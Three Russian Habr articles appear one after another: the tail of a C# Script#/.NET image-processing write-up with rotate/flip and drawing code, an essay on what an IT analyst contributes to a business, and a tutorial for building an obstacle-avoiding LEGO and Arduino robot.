i4 = (i * w + j) * 4;
j4 = j * 4;
t = (int)data[i4]; data[i4] = data[c - j4]; data[c - j4] = t;
t = (int)data[i4 + 1]; data[i4 + 1] = data[c - j4 + 1]; data[c - j4 + 1] = t;
t = (int)data[i4 + 2]; data[i4 + 2] = data[c - j4 + 2]; data[c - j4 + 2] = t;
t = (int)data[i4 + 3]; data[i4 + 3] = data[c - j4 + 3]; data[c - j4 + 3] = t;
}
}
context.PutImageData();
}
else if (rotFlipType == RotFlipType.Rotate180FlipNone || rotFlipType == RotFlipType.Rotate180FlipX)
{
context = GraphicsContext.GetContext(bitmap);
data = context.GetPixelArray();
w = bitmap.Width;
h = bitmap.Height;
c = w * 4 - 4;
int dlength4 = data.Length - 4;
for (int i = 0; i < data.Length / 4 / 2; i++)
{
i4 = i * 4;
if (rotFlipType == RotFlipType.Rotate180FlipNone)
j4 = i4;
else
j4 = (Math.Truncate((double)i / w) * w + (w - i % w)) * 4;
t = (int)data[j4]; data[j4] = data[dlength4 - i4]; data[dlength4 - i4] = t;
t = (int)data[j4 + 1]; data[j4 + 1] = data[dlength4 - i4 + 1]; data[dlength4 - i4 + 1] = t;
t = (int)data[j4 + 2]; data[j4 + 2] = data[dlength4 - i4 + 2]; data[dlength4 - i4 + 2] = t;
t = (int)data[j4 + 3]; data[j4 + 3] = data[dlength4 - i4 + 3]; data[dlength4 - i4 + 3] = t;
}
context.PutImageData();
}
else
{
Bitmap tempBitmap = PrivateUtils.CreateCloneBitmap(bitmap);
GraphicsContext tempContext = GraphicsContext.GetContext(tempBitmap);
PixelArray temp = tempContext.GetPixelArray();
t = bitmap.Width;
bitmap.Width = bitmap.Height;
bitmap.Height = t;
context = GraphicsContext.GetContext(bitmap);
data = context.GetPixelArray();
w = tempBitmap.Width;
h = tempBitmap.Height;
if (rotFlipType == RotFlipType.Rotate90FlipNone || rotFlipType == RotFlipType.Rotate90FlipX)
{
c = w * h - w;
for (int i = 0; i < temp.Length / 4; i++)
{
t = Math.Truncate((double)i / h);
if (rotFlipType == RotFlipType.Rotate90FlipNone)
i4 = i * 4;
else
i4 = (t * h + (h - i % h)) * 4;
j4 = (c - w * (i % h) + t) * 4; //j4 = (w * (h - 1 - i4 % h) + i4 / h) * 4;
data[i4] = temp[j4];
data[i4 + 1] = temp[j4 + 1];
data[i4 + 2] = temp[j4 + 2];
data[i4 + 3] = temp[j4 + 3];
}
}
else if (rotFlipType == RotFlipType.Rotate270FlipNone || rotFlipType == RotFlipType.Rotate270FlipX)
{
c = w - 1;
for (int i = 0; i < temp.Length / 4; i++)
{
t = Math.Truncate((double)i / h);
if (rotFlipType == RotFlipType.Rotate270FlipNone)
i4 = i * 4;
else
i4 = (t * h + (h - i % h)) * 4;
j4 = (c + w * (i % h) - t) * 4; // j4 = w * (1 + i4 % h) - i4 / h - 1;
data[i4] = temp[j4];
data[i4 + 1] = temp[j4 + 1];
data[i4 + 2] = temp[j4 + 2];
data[i4 + 3] = temp[j4 + 3];
}
}
context.PutImageData();
}
return bitmap;
#elif DOTNET
Bitmap result = null;
switch (rotFlipType)
{
case RotFlipType.RotateNoneFlipNone:
result = bitmap;
break;
case RotFlipType.Rotate90FlipNone:
bitmap.RotateFlip(RotateFlipType.Rotate90FlipNone);
result = new Image(bitmap);
bitmap.Dispose();
break;
case RotFlipType.Rotate270FlipNone:
bitmap.RotateFlip(RotateFlipType.Rotate270FlipNone);
result = new Image(bitmap);
bitmap.Dispose();
break;
case RotFlipType.Rotate180FlipNone:
bitmap.RotateFlip(RotateFlipType.Rotate180FlipNone);
result = bitmap;
break;
case RotFlipType.RotateNoneFlipX:
bitmap.RotateFlip(RotateFlipType.RotateNoneFlipX);
result = bitmap;
break;
case RotFlipType.Rotate90FlipX:
bitmap.RotateFlip(RotateFlipType.Rotate90FlipX);
result = new Image(bitmap);
bitmap.Dispose();
break;
case RotFlipType.Rotate180FlipX:
bitmap.RotateFlip(RotateFlipType.Rotate180FlipX);
result = bitmap;
break;
case RotFlipType.Rotate270FlipX:
bitmap.RotateFlip(RotateFlipType.Rotate270FlipX);
result = new Image(bitmap);
bitmap.Dispose();
break;
}
return result;
#endif
}
```
**Асинхронная и синхронная загрузка картинок**Обратите внимание, что в ScriptSharp версии указывается другая функция CollageImageLoad, которая вызовется после загрузки изображения, в то время как в .NET версии все происходит синхронно (из файловой системы или интернета).
```
public CollageData(string smallMaskPath, string bigMaskPath, List dataParts)
{
SmallMaskImagePath = smallMaskPath;
BigMaskImagePath = bigMaskPath;
#if SCRIPTSHARP
CurrentMask = PrivateUtils.CreateEmptyImage();
CurrentMask.AddEventListener("load", CollageImageLoad, false);
CurrentMask.Src = CurrentMaskImagePath;
#else
CurrentMask = PrivateUtils.LoadBitmap(CurrentMaskImagePath);
if (!CurrentMaskImagePath.Contains("http://") && !CurrentMaskImagePath.Contains("https://"))
CurrentMask = Bitmap(CurrentMaskImagePath);
else
{
var request = WebRequest.Create(CurrentMaskImagePath);
using (var response = request.GetResponse())
using (var stream = response.GetResponseStream())
CurrentMask = (Bitmap)Bitmap.FromStream(stream);
}
#endif
DataParts = dataParts;
}
```
##### Только Script#
**Определение типа и версии браузера**Эта функция используется например для определения возможностей drag & drop в различных браузерах (я пробовал использовать [modernizr](http://modernizr.com/), но он возвращал что Safari (в моем случае для Win) и IE9 реализуют его. Однако на практике оказалось, что эти браузеры реализуют drag & drop не совсем правильно).
```
internal static string BrowserVersion
{
get
{
DetectBrowserTypeAndVersion();
return _browserVersion;
}
}
private static void DetectBrowserTypeAndVersion()
{
if (!_browserDetected)
{
string userAgent = Window.Navigator.UserAgent.ToLowerCase();
if (userAgent.IndexOf("opera") != -1)
_browser = BrowserType.Opera;
else if (userAgent.IndexOf("chrome") != -1)
_browser = BrowserType.Chrome;
else if (userAgent.IndexOf("safari") != -1)
_browser = BrowserType.Safari;
else if (userAgent.IndexOf("firefox") != -1)
_browser = BrowserType.Firefox;
else if (userAgent.IndexOf("msie") != -1)
{
int numberIndex = userAgent.IndexOf("msie") + 5;
_browser = BrowserType.IE;
_browserVersion = userAgent.Substring(numberIndex, userAgent.IndexOf(';', numberIndex));
}
else
_browser = BrowserType.Unknown;
_browserDetected = true;
}
}
```
**Отрисовка пунктирной линии**Используется для прямоугольника при обрезке изображений. За идеи спасибо всем, кто отвечал в этом [вопросе на SO](http://stackoverflow.com/q/4576724/1046374).
```
internal static void DrawDahsedLine(GraphicsContext context, double x1, double y1, double x2, double y2, int[] dashArray)
{
if (dashArray == null)
dashArray = new int[2] { 10, 5 };
int dashCount = dashArray.Length;
double dx = x2 - x1;
double dy = y2 - y1;
bool xSlope = Math.Abs(dx) > Math.Abs(dy);
double slope = xSlope ? dy / dx : dx / dy;
context.MoveTo(x1, y1);
double distRemaining = Math.Sqrt(dx * dx + dy * dy);
int dashIndex = 0;
while (distRemaining >= 0.1)
{
int dashLength = (int)Math.Min(distRemaining, dashArray[dashIndex % dashCount]);
double step = Math.Sqrt(dashLength * dashLength / (1 + slope * slope));
if (xSlope)
{
if (dx < 0) step = -step;
x1 += step;
y1 += slope * step;
}
else
{
if (dy < 0) step = -step;
x1 += slope * step;
y1 += step;
}
if (dashIndex % 2 == 0)
context.LineTo(x1, y1);
else
context.MoveTo(x1, y1);
distRemaining -= dashLength;
dashIndex++;
}
}
```
**Анимация вращения изображения**Для анимации вращения изображения используется функция setInterval. Обратите внимание, что просчет результирующего изображения result происходит во время анимации, чтобы не было небольших лагов в конце анимации.
```
public void Rotate(bool cw)
{
if (!_rotating && !_flipping)
{
_rotating = true;
_cw = cw;
RotFlipType oldRotFlipType = _curRotFlipType;
_curRotFlipType = RotateRotFlipValue(_curRotFlipType, _cw);
int currentStep = 0;
int stepCount = (int)(RotateFlipTimeSeconds * 1000 / StepTimeTicks);
Bitmap result = null;
_interval = Window.SetInterval(delegate()
{
if (currentStep < stepCount)
{
double absAngle = GetAngle(oldRotFlipType) + currentStep / stepCount * Math.PI / 2 * (_cw ? -1 : 1);
DrawRotated(absAngle);
currentStep++;
}
else
{
Window.ClearInterval(_interval);
if (result != null)
Draw(result);
_rotating = false;
}
}, StepTimeTicks);
result = GetCurrentTransformResult();
if (!_rotating)
Draw(result);
}
}
private void DrawRotated(double rotAngle)
{
_resultContext.FillColor = FillColor;
_resultContext.FillRect(0, 0, _result.Width, _result.Height);
_resultContext.Save();
_resultContext._graphics.Translate(_result.Width / 2, _result.Height / 2);
_resultContext._graphics.Rotate(-rotAngle);
_resultContext._graphics.Translate(-_origin.Width / 2, -_origin.Height / 2);
_resultContext._graphics.DrawImage(_origin, 0, 0);
_resultContext.Restore();
}
private void Draw(Bitmap bitmap)
{
_resultContext.FillColor = FillColor;
_resultContext.FillRect(0, 0, _result.Width, _result.Height);
_resultContext.Draw2(bitmap, (int)((_result.Width - bitmap.Width) / 2), (int)((_result.Height - bitmap.Height) / 2));
}
```
### Заключение
В данной статье было показано какой большой кросплатформенностью может обладать C#, совмещая в себе с одной стороны неуправляемый код, а с другой — компиляцию под JavaScript. Несмотря на то, что был сделан основной упор на .NET и JavaScript, компиляция под Android, iOS (с помощью Mono) и Windows Phone также возможна на основе описанного подхода, естественно со своими подводными камнями. Конечно, избыточный код при такой универсальности существует, однако на деле он никак не влияет на производительность, поскольку графические операции занимают несоизмеримо больше времени.
Я думаю что материал, описанный в данной статье, окажется полезным и без исходников. Также я готов прислушаться к критике и ответить на ваши вопросы.
В следующей статье, если эта будет хорошо воспринята сообществом, я собираюсь описать интеграцию карт google с ASP.NET и MS SQL с целью отображения, а также добавления и изменения собственных фотографий. В ней будут освещаться такие моменты как:
* Географические типы данных MS SQL (работа с ними в TSQL, C#, описание их внутренней структуры).
* Кеширование фотографий определенной области на стороне клиента и сервера.
* Google maps и geocoding api (краткое описание функций навигации, кастомизации маркеров).
P.S. Хочу поблагодарить создателей проекта [gfranq.com](http://gfranq.com/) [oneuser](https://habr.com/users/oneuser/) и [VladaOrlova](https://habr.com/users/vladaorlova/).
**UPDATE**
Код JavaScript, генерируемый Script# с ручной и автоматической минификацией:
[imgProcLib](http://gfranq.com/Scripts/gfranq.imgProcLib3_17.00.js)
Код mscorlib (без ручной минификации):
[mscorlib](http://gfranq.com/Scripts/mscorlib3.js)
Как можно заметить, благодаря ручному проставлению коротких имен идентификаторам, код удалось сильно сжать, по сравнению с используемой по умолчанию библиотекой mscorlib.
**UPDATE 2**
Статья по картам была написана и опубликована [здесь](http://habrahabr.ru/post/182532/) | https://habr.com/ru/post/164439/ | null | ru | null |
# ИТ-аналитик, чем его работа ценна для бизнеса
“Аналитик, проанализируй мне эту задачу” - говорит бизнес-заказчик. Что он имеет в виду? Анализ - это всего лишь метод исследования, характеризующийся выделением и изучением отдельных частей объектов исследования (по википедии), но бизнес в своих словах подразумевает нечто большее, чем просто анализ.
Что делает ИТ-аналитик и в чем ценность его работы для бизнеса? Пробуем разобраться.
ИТ-аналитик в статье - это роль, которую может выполнять выделенный сотрудник, а может и разработчик или любой другой сотрудник.
UPD: Теперь доступно и в виде видео <https://www.youtube.com/watch?v=TbDnSQbMGjg>
Понятия потребность и требование
--------------------------------
В анализе и проектировании аналитик работает с двумя областями. Область потребностей = нужд (needs) и область решений (solution).
Закрыть одну потребность можно разными способами. Каждый способ имеет разные атрибуты качества. Поесть в ресторане быстрее и вкуснее, но купить продукты в магазине, приготовить и съесть что-нибудь дома дешевле.
Бизнес обращается к нам с какой-то проблемой, болью, которую он не знает как решить и наша задача - показать ему что делать.
Задача аналитика в поиске и выборе наиболее подходящего для заказчика способа решения (solution) его боли и проблемы.
Выявление потребностей и целеполагание
--------------------------------------
Пациент приходит к доктору и требует “Выпишите мне аспирин, срочно!!!”.
Требование (на самом деле решение) = “Выписать аспирин”. Что делает доктор в данном случае? Плохой доктор даст аспирин. Хороший доктор будет выявлять причины проблемы и лечить их.
Требование (requirement) - это некоторый образ или свойство результата, который кто-то у кого-то требует. “Выпишите аспирин”, “Программа должна делать это” - это требование. (Более строго, требование - это свойство результата, дающее значимую ценность).Термин не самый удачный в русском языке, он плохо стыкуется с бытовым толкованием, что запутывает заказчика и аналитика.
Требование лежит в области решения (solution). “Поесть в ресторане”, “Приготовь еду” - это требования (решения).
Что делает хороший аналитик ? Выявляет потребности и анализирует их, определяя влияние на бизнес (почему, в чем причина, как часто, какой ущерб для бизнеса, в каком проценте случаев, в какой географии, для каких клиентов, ..). Понимание потребности дает понимание что делать, какое решение нужно, какое требование к решению важно.
Поэтому аналитик **выявляет потребности** и **проектирует решение** (требования к решению).
В разное время разные бизнесы стремятся к оптимизации разных атрибутов качества своих систем и процессов.
1. Обеспечить функциональность
2. Качественную работу
3. Скорость/Производительность
4. Безопасность
5. Низкие издержки
6. И т.п.
Разрыв ожиданий и реальности атрибутов качества создает проблему, которую нужно решить, и для этого нужны какие-то изменения. Устранение разрыва будет целью (goal) будущего изменения.
Например, внедрение или улучшение ИТ системы в бизнесе нужно для улучшения атрибутов качества бизнес-процесса, иначе оно не приносит пользы и поэтому бессмысленно (замечу, что есть внедрения самоценных ИТ систем - это компьютерные игры).
Выявление контекста и ограничений
---------------------------------
Разумеется заказчик находится в какой-то ситуации и он ограничен принятыми ранее решениями (decision) и обстоятельствами, которые следует учитывать при проектировании.
“Разгрузить грузовик” - это сложно? Неясно, так как неясен контекст.
К примеру, “Разгрузи грузовик в минус 40, на дне озера” и “Разгрузи грузовик в плюс 25, на асфальте” выглядят как совершенно разные задачи.
Для проектирования модели нужно разобраться в контексте того, как полученное решение (solution) будет использоваться, в каком процессе и для чего. Какая ситуация у заказчика.
Выявление контекста - сфокусировано на области, где проявляет себя задача изменения. Нет смысла начинать решение задачи с “описания текущих процессов”, если не сформулировано цели (потребности, боли) изменений. Процессов и деталей этих процессов слишком много, их изучение само по себе без цели не имеет смысла и окончания.
Выявленный контекст представляется в виде модели (модели предметной области) и должен непротиворечивым и достаточным образом предоставить все нужные факты, касаемо будущей задачи (в автоматизации бизнеса здесь используются разнообразные схемы, таблицы и описания бизнес-процессов).
Перед проектированием будущего изменения часто нужно выявить желаемые сроки внедрения. Возможны разные варианты:
1. Сделать к “черной пятнице”,
2. Сделать, потому что каждый день мы что то теряем,
3. Сделать, иначе с какого-то момента мы будем каждый день что-то терять.
Таким образом выявляются ожидания/ограничения по срокам.
Не всегда все нужно делать монументально, часто бизнес не уверен в будущих выгодах. В этом случае стоит сделать более быстрое/менее качественное решение, чтобы проверить гипотезу. Также иногда лучше сделать менее качественно, но более быстро, даже если это “заплатка” или “костыль”, но тем не менее качество должно быть ожидаемым и согласованным. Для этого нужно выявить ожидания/ограничения по качеству.
Часто заказчики выбирают решение с минимальной стоимостью внедрения/владения в рамках заданных сроков и качества. Иногда ограничена стоимость и нужно подобрать оптимальное сочетание сроков/качества.
В итоге, складывается понимание ограничений на проектный треугольник (стоимость/сроки/качество).
Кроме того, область решений (solution) ограничена еще ограничениями связанных (взаимодействующих) систем:
1. Ограничениями по ресурсам
2. Требованиями удобства пользователей
3. Решениями по существующему ИТ-ландшафту и уровню ИТ сервиса
4. Выбором подрядчиков и правилами привлечения новых
5. Правилами работы с подрядчиками
6. Требованиями безопасности и распространения информации
7. Требованиями регуляторов
8. И т.д.
Не зная ограничения, нельзя спроектировать решение с их учетом.
В случае слишком жестких ограничений решения может и не найтись. Тогда ограничения заменяются функциями штрафа и аналитик ищет наименее болезненное решение.
Проектирование требований
-------------------------
Выявленные потребности в выявленном контексте дают возможность начать проектировать будущее решение.
При проектировании удобно в первую очередь создать набор атомарных требований, описывающий какой-то аспект будущего решения и уже после этого приступать к моделированию.
Например, я решил пожарить картошку, чтобы поесть. Для этого мне нужно как-то ее очистить и помыть, как-то нарезать и в чем-то ее пожарить. Мне нужен инструмент для жарки картошки - это потребность.
Создаем требования на инструменты. Я требую инструмент с нагреваемой емкостью. Имея инструмент (а также масло и соль) я могу пожарить картошку.
Какая емкость? Какого объема? Неясно, требований не достаточно.
Дополняем потребность из контекста - мне нужно готовить в среднем на два человека. Требование - емкость объемом один литр (такие требования иногда называют нефункциональными), так как в эту емкость влезает нужных для двух человек объём картошки.
Каким образом будет подаваться энергия в инструмент? Ограничением будет использование только существующих источников энергии. У нас дома электричество, есть кухонная плита, но газа нет. С учетом этого появляется требование - использование электричества или кухонной плиты, как источника энергии.
Проектирование решения
----------------------
Аналитик создает непротиворечивые, полные, проверяемые модели, отражающие какой-то срез или “проекцию” будущей системы для согласования с стейкхолдерами и для принятия управленческих решений (делаем так/изменяем/не делаем). Наиболее полная модель - это реализованная система, но часто достаточно меньших усилий для получения нужных ответов на вопросы.
Например, модель системы из предыдущего примера это электрическая фритюрница.
Моделей системы может быть несколько (и довольно много), но типовые это
1. Функциональная модель, отвечающая на вопрос “как это работает, функционирует, обеспечивает функцию”. Такую модель чаще всего и создает аналитик, обеспечивая понимание полноты обеспечения функциональных требований в разнообразных случаях.
2. Географическая модель, отвечающая на вопрос “где это работает” или “где расположены части” делается совместно на основе функциональной и модели предметной области. Для ИТ систем это модели разделения на серверную и пользовательскую часть и модели роботизации.
3. Конструктивная модель, отвечающая на вопрос “как это сконструировано, из каких частей состоит”. Такие модели собираются совместно. В современном мире задача решается не разработкой одной системы, а согласованным использованием и/или доработкой и/или разработкой нескольких готовых/новых систем. При этом происходит распределение какая система какую функцию выполняет, какая из какой какие данные/события берет. Конструктивную модель разрабатываемой/дорабатываемой системы создает архитектор приложения (часто старший разработчик), на основе детализации которой команда разработки может оценить трудозатраты и стоимость.
4. Проектная модель, отвечающая на вопрос "кто и когда что будет делать", создается управляющими ресурсами и проектным менеджером.
5. Финансовая модель, отвечающая на вопрос “сколько стоит создание, поддержка, вывод из эксплуатации решения, в какие сроки и за счет чего отобьются вложенные инвестиции”, также часто собрать данные - это работа аналитика. Эта модель основная для принятия управленческих решений опирается на конструктивную, географическую и проектную модели. Финансовая модель - итоговая, которая нужна бизнесу, на основе которой он принимает решение.
Потребностей может быть много, решение, которое закрывает все потребности часто оказывается за рамками выявленных ограничений. К тому же часто нет уверенности, что закрытие потребностей приведет к ожидаемому бизнес-эффекту. Это толкает руководство к итерационной разработке с получением работающих решений на ранних этапах. Для проектирования таких решений нужно признать, что какие-то потребности останутся не закрыты или закрыты не полностью.
В итерационной разработке, в каждой следующей итерации должна быть создана система, которая приносит максимум пользы бизнесу, но при этом которая может быть создана в небольшие сроки (с учетом того, что некоторые пропасти не перешагнуть в два шага).
Деньги, потраченные на работы по автоматизации редкого/необязательного функционала чаще всего не окупятся, поэтому выполнение таких работ - потеря для бизнеса. Вместо этих работ можно найти другие, более полезные.
Аналитик решает задачу по проектированию такого решения, которое закрывает потребности по правилу Парето, 20% усилий должны принести 80% бизнес-результата, где усилия берутся из треугольника (цена-качество-сроки) в рамках выявленных ограничений, а результат - это оценка улучшения атрибутов качества бизнес-процесса.
В нашем примере альтернативная модель - инструмент это сковородка, которая разогревается с помощью кухонной плиты. Оно требует больше времени на готовку, зато обеспечивающая достаточное качество и оно значительно дешевле и поэтому в ряде случаев оно наиболее подходящее (но не всегда).
ИТ аналитику в поиске помогают
* Знание того, как ИТ решают задачи по улучшению бизнес-процессов,
* Знание того, какие ключевые свойства потребностей влекут разные способы реализации (на что обращать внимание),
* Знание предметной области, в частности, процессного управления,
* Знание процессов управления изменениями,
* Понимание трудоемкости, стоимости и сложности решения широкого спектра ИТ задач,
* Умение использование источников знаний по срокам/стоимости реализации и функциональным возможностям
+ готовых ИТ решений, решающих задачу полностью или частично или умения быстро их находить и выбирать оптимальное с помощью партнеров по интеграции и вендоров ИТ решений
+ новых или дорабатываемых существующих ИТ решений с помощью , смежников и разработчиков.
Исправление ошибок системы на стадии проектирования дешевле, чем после его реализации. И поскольку любой аналитик иногда да ошибается, то решение, которое он создал стоит проверять.
Наибольший эффект контроля качества достигается с помощью формализации условий задачи (цели, модель предметной области, потребности, ограничения) и решения задачи (требования и модели будущей системы). Без условий задачи, решение проверить невозможно.
```
“Дайте мне аспирин”
“А это вылечит вашу боль?”
(неизвестно, если причина боли не диагностирована)
```
По другому, 42 - это правильный ответ? Неизвестно, так как неизвестен вопрос.
Внедрение решения
-----------------
При проектировании на первых итерациях получается не полнофункциональная ИТ-система. При создании ИТ системы с нуля, как правило, закрывается главная дорога, а исключения и боковые ветви остаются за рамками создаваемого ИТ решения. При внедрении готового решения за рамками остаются процессы, которые туда не ложатся. Для внедрения ИТ-системы нужно выработать подходы, что делать с этими случаями. Либо менять процессы, либо закрывать потребности с помощью более простых и универсальных решений типа Excel (Googledocs, …) и регламентов.
Зачастую аналитик создает эти временные подпорки и формирует требования на изменения регламентов так, чтобы внедрение не привело к серьезным сбоям процесса.
Также зачастую аналитик готовит данные либо формирует требования по их преобразованиям.
Если можно внедрить систему в географически выделенных подразделениях, то аналитик прорабатывает то, каким образом будут взаимодействовать старая и новая система совместно, обеспечивая один процесс.
Когда все готово, аналитик проводит обучения ключевых пользователей и сопровождает внедрение.
Активное участие аналитика во внедрении необходимо, чтобы аналитик получил объективную обратную связь по спроектированному решению, нашел ошибки в методиках проектирования и развивался.
Резюме
------
Работа аналитика это превращение проблем в задачи, при котором характерны этапы:
1. Выявление целеполагания,
2. Выявление контекста (модели предметной области), потребностей и ограничений,
3. Проектирование требований,
4. Проектирование модели решения (части моделей),
5. Внедрение решения.
Опыт проектирования и внедрения решения необходим для грамотного выявления потребностей, контекста и ограничений. Без опыта неясно что из потребностей в каких ограничениях возможно закрыть автоматизацией. Без опыта выявления потребностей и ограничений можно спроектировать неверное решение. "Аналитику" занимающимся только выявлением потребностей тяжело развиваться, он не получает достаточной обратной связи.
И тем не менее, самая ценная часть - это проектирование требований и моделей решения (еще говорят, инженерия требований и моделей решения). Первые три пункта (выявление и формализация моделей предметной области, потребностей, ограничений) может сделать грамотный заказчик. Формализовать требования может ключевой пользователь. Но проектировать модели решения им крайне тяжело и именно тут аналитик наиболее ценен. И поэтому лучшее название этой роли - аналитик-проектировщик (более строго аналитик-инженер, но термин инженер, увы, сильно искажен).
Основная ценность работы аналитика-проектировщика для бизнеса состоит в последовательном поиске и создании функциональных и получении от исполнителей конструктивных моделей решения, закрывающих потребности по правилу Парето 80 на 20, имея как фокус проявленную выгоду от внедрения в проявленных приоритетах треугольника проекта с учетом выявленных ограничений.
Для этого аналитик-проектировщик выявляет цели изменения, выявляет и формализует модели предметной области и потребности автоматизации, проектирует и согласовывает требования, отсекая часть требований на последующую автоматизацию, создавая функциональные модели решения, отвечающие этим требованиям, ставя задачу исполнителям на создание конструктивных моделей, получая сроки и стоимость и находя оптимальное в заданных условиях модель решения.
P.S. Спасибо участникам КиФБ за отзывы и корректировки к статье, а так же отдельное спасибо Денису Бескову и Анатолию Левенчуку за то, что помогли взглянуть на проблему системно | https://habr.com/ru/post/529236/ | null | ru | null |
# Робот из LEGO и Arduino, обходящий препятствия
Мы обожаем LEGO и Crazy Circuits [LEGO-совместимая электроника / прим. перев.], поэтому решили скомбинировать их в простого и интересного робота, умеющего обходить препятствия. Мы покажем, как собрать такого робота и подробно опишем этот процесс. Ваша версия робота может не полностью совпадать с нашей.
Приводим список необходимой электроники и деталек LEGO. Не бойтесь экспериментировать с ними.
Комплектующие
-------------
### Электроника
* 1 x плата Robotics Board от [Crazy Circuits](https://www.browndoggadgets.com/collections/tbm/products/crazy-circuits-robotics-board)
* 2 x [совместимый с LEGO сервомотор](https://www.browndoggadgets.com/collections/tbm/products/lego-compatible-360-degree-servo) полного вращения
* 1 x ультразвуковой датчик расстояния HC-SR04
* 4 x джампер-кабеля «мама-мама»
* 1 x внешний источник питания с USB
Для нашего проекта мы подобрали небольшой внешний источник питания, уютно вписывающийся в нашего робота. Вам, возможно, придётся сконструировать свой вариант для своего внешнего источника питания, или для комплекта батареек.
### LEGO
Мы использовали различные детальки, а вам рекомендуем сделать так, как вы считаете нужным, и из того, что есть у вас на руках. Важно, чтобы у вас был способ приделать сервомоторы снизу, ультразвуковой датчик – так, чтобы он смотрел вперёд, и каким-то образом закрепить плату и источник питания. Для этого можно использовать двусторонний скотч, резинки, липучку. Приводим ссылки на наши детальки в магазине BrickOwl, однако вы можете купить их где угодно, где продаётся LEGO и совместимые наборы.
* 2 x [LEGO Wedge Belt Wheel (4185 / 49750)](https://www.brickowl.com/catalog/lego-wedge-belt-wheel-4185-49750)
* 1 x [LEGO EV3 Technic Ball Pivots Set 5003245](https://www.brickowl.com/catalog/lego-ev3-technic-ball-pivots-set-5003245)
* 1 x [LEGO Technic Cross Block Beam 3 with Four Pins (48989 / 65489)](https://www.brickowl.com/catalog/lego-technic-cross-block-beam-3-with-four-pins-48989-65489)
* 1 x [LEGO Technic Brick 1 x 6 with Holes (3894)](https://www.brickowl.com/catalog/lego-technic-brick-1-x-6-with-holes-3894)
* 2 x [LEGO Axle 4 with End Stop (87083)](https://www.brickowl.com/catalog/lego-axle-4-with-end-stop-87083)
* 4 x [LEGO Half Bushing (32123 / 42136)](https://technicforall.brickowl.com/store/lego-half-bushing-32123-42136)
* 4 x [LEGO Brick 2 x 2 Round (3941 / 6143)](https://technicforall.brickowl.com/store/lego-brick-2-x-2-round-3941-6143)
* 1 x [LEGO Plate 6 x 12 (3028)](https://www.brickowl.com/catalog/lego-plate-6-x-12-3028)
Шаг 1: строим шасси из LEGO
---------------------------
Мы начали с пластинки LEGO 6×12, это был минимальный размер, который нас устроил. Можно использовать более крупную, однако мельче уже будет сложнее.
Ширина робота определялась имеющимся у нас в наличии внешним источником питания, поскольку нам была нужна возможность вставлять его на место. Для аккумулятора большего размера потребуется робот большего размера.
Шасси должно быть достаточно высоким, чтобы на нём разместилась и батарея, и плата сверху.
Шаг 2: добавляем колёса
-----------------------
Каждый сервомотор нужно разместить снизу шасси. В итоге нам понадобились следующие комплектующие:
* Ось 4 LEGO со стопором (87083)
* Втулка LEGO (32123 / 42136)
* Круглый кирпичик LEGO 2 x 2 (3941 / 6143)
Для закрепления двух моторов нужно по 4 штуки каждой из комплектующих. После их закрепления добавляем колесо: LEGO Wedge Belt Wheel (4185 / 49750).
Как и с другими модельками LEGO, вариантов тут масса! У нас получилось с теми комплектующими, что мы перечислили, а вы можете попробовать что-нибудь другое.
Шаг 3: добавляем ролик
----------------------
Наш ролик позволяет роботу кататься по плоскости на двух моторизованных колёсах, играя роль третьего колеса – так роботу легче поворачивать и двигаться.
Для его закрепления потребовались следующие детали:
* LEGO EV3 Technic Ball Pivots Set 5003245
* LEGO Technic Cross Block Beam 3 with Four Pins (48989 / 65489)
* LEGO Technic Brick 1 x 6 with Holes (3894)
В предыдущей версии мы использовали просто круглые детали LEGO в качестве «ноги», и на гладкой поверхности это работало нормально. Но не работало на ковре или не гладком полу. Если у вас нет ролика, рассмотрите вариант с такой «ногой».
Шаг 4: добавляем датчик расстояния
----------------------------------
Ультразвуковой датчик расстояния нужно закрепить на передней части робота, чтобы он «видел», куда едет, и понимал, когда нужно остановиться, чтобы не столкнуться с препятствием.
Для датчика мы распечатали совместимый с LEGO корпус на 3D-принтере. Модель выложена на сайте Thingiverse: [www.thingiverse.com/thing](https://www.thingiverse.com/thing):3171004
Если 3D-принтера у вас нет, придумайте, как удержать датчик при помощи деталек LEGO, клейкой ленты, резинок, хомутов и т.п. Важно, чтобы он смотрел прямо – туда, куда едет робот, когда движется вперёд.
Шаг 5: добавляем плату
----------------------
Плата – мозг всей операции. Она размещается наверху кубиков LEGO, поэтому её крепить легко.
Обычно плата Robotics Board используется совместно с проводящей плёнкой, позволяющей мастерить электрические цепи прямо поверх LEGO, но поскольку у нас тут всего лишь два мотора и датчик расстояния, их можно подключить напрямую к штырькам на плате.
Плату размещаем так, чтобы USB-кабель питания было легко воткнуть. Нам повезло найти в коробке с кабелями очень короткий USB-кабель.
Теперь можно подключать датчик и моторы!
По датчику: разъём echo нужно подключить к контакту 3 на плате, разъём trigger – к контакту 5, VCC – к 5 В, Gnd – к GND. Таким образом датчик будет получать питание и общаться с платой.
Затем нужно подключить каждый из моторов. Это сделать легко – коричневые провода на GND, красные – на 5 В, оранжевые – к контакту D6 для левого мотора и D9 для правого.
Шаг 6: программируем Robotics Board
-----------------------------------
Перед тем, как робот сможет работать, нужно загрузить код в микроконтроллер. Перед этим убедитесь, что у вас на компьютере установлена последняя версия [Arduino IDE](https://www.arduino.cc/en/Main/Software).
Свой код мы выложили в репозиторий на GitHub:
[github.com/BrownDogGadgets/CrazyCircuits/tree/master/Projects/Avoidance%20Robot](https://github.com/BrownDogGadgets/CrazyCircuits/tree/master/Projects/Avoidance%20Robot)
Код простой, в нём много комментариев, чтобы было понятно, что за что отвечает.
Вам также потребуется библиотека NewPing
[bitbucket.org/teckel12/arduino-new-ping/wiki/Home](https://bitbucket.org/teckel12/arduino-new-ping/wiki/Home)
Шаг 7: пускаем робота погулять
------------------------------
Построив робота и загрузив в него код, можно переходить к испытаниям!
Проще всего подключить внешний источник питания и дать роботу возможность ехать вперёд. Если выставить перед ним руку, он должен отодвинуться назад, повернуться и снова поехать вперёд (смотрите, чтобы он не съехал со стола!)
Мы построили простую шестиугольную «арену» из картона, чтобы роботу было где поездить. Не бойтесь экспериментировать с тем, что есть у вас.
Шаг 8: дальнейшее развитие
--------------------------
Если вам интересно развивать этот проект, вот вам вопросы:
— что вы узнали, собирая робота?
— что повлияло на ваш выбор деталей?
— поедет ли робот быстрее, если увеличить ему колёса?
В коде есть две переменных, исправив которые, вы измените время отката робота назад при обнаружении препятствия, и время, которое он будет поворачиваться. Попробуйте поменять goBackwardTime и turnRightTime и посмотреть, как это повлияет на поведение робота.
```
// сколько миллисекунд робот отъезжает назад
int goBackwardTime = 1000;
// сколько миллисекунд робот поворачивается
int turnRightTime = 1000;
```
> См. также:
>
>
>
